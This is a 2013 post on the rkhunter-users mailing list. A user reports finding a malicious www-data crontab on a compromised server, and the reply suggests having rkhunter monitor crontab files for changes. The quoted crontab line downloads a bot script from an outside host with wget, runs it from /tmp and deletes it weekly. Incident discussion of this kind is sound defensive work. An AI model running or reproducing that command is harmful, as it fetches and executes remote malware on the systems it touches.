On Tue, 2013-11-05 at 09:46 +0200, Brent Clark wrote: > P.s. I just saw in cron > > cat /var/spool/cron/crontabs/www-data > # DO NOT EDIT THIS FILE - edit the master and reinstall. > # (/tmp/cron installed on Sun Nov 3 15:21:02 2013) > # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) > @weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh > /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1 > FYI - you can add crontab files to the rkhunter USER_FILEPROP_FILES_DIRS option so that they are monitored for any changes.
John. -- ---------------------------------------------------- John Horne Tel: +44 (0)1752 587287 Plymouth University, UK Fax: +44 (0)1752 587001 ------------------------------------------------------------------------------ November Webinars for C, C++, Fortran Developers Accelerate application performance with scalable programming models. Explore techniques for threading, error checking, porting, and tuning. Get the most from the latest Intel processors and coprocessors. See abstracts and register http://pubads.g.doubleclick.net/gampad/clk?id=60136231&iu=/4140/ostg.clktrk _______________________________________________ Rkhunter-users mailing list Rkhunter-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/rkhunter-users
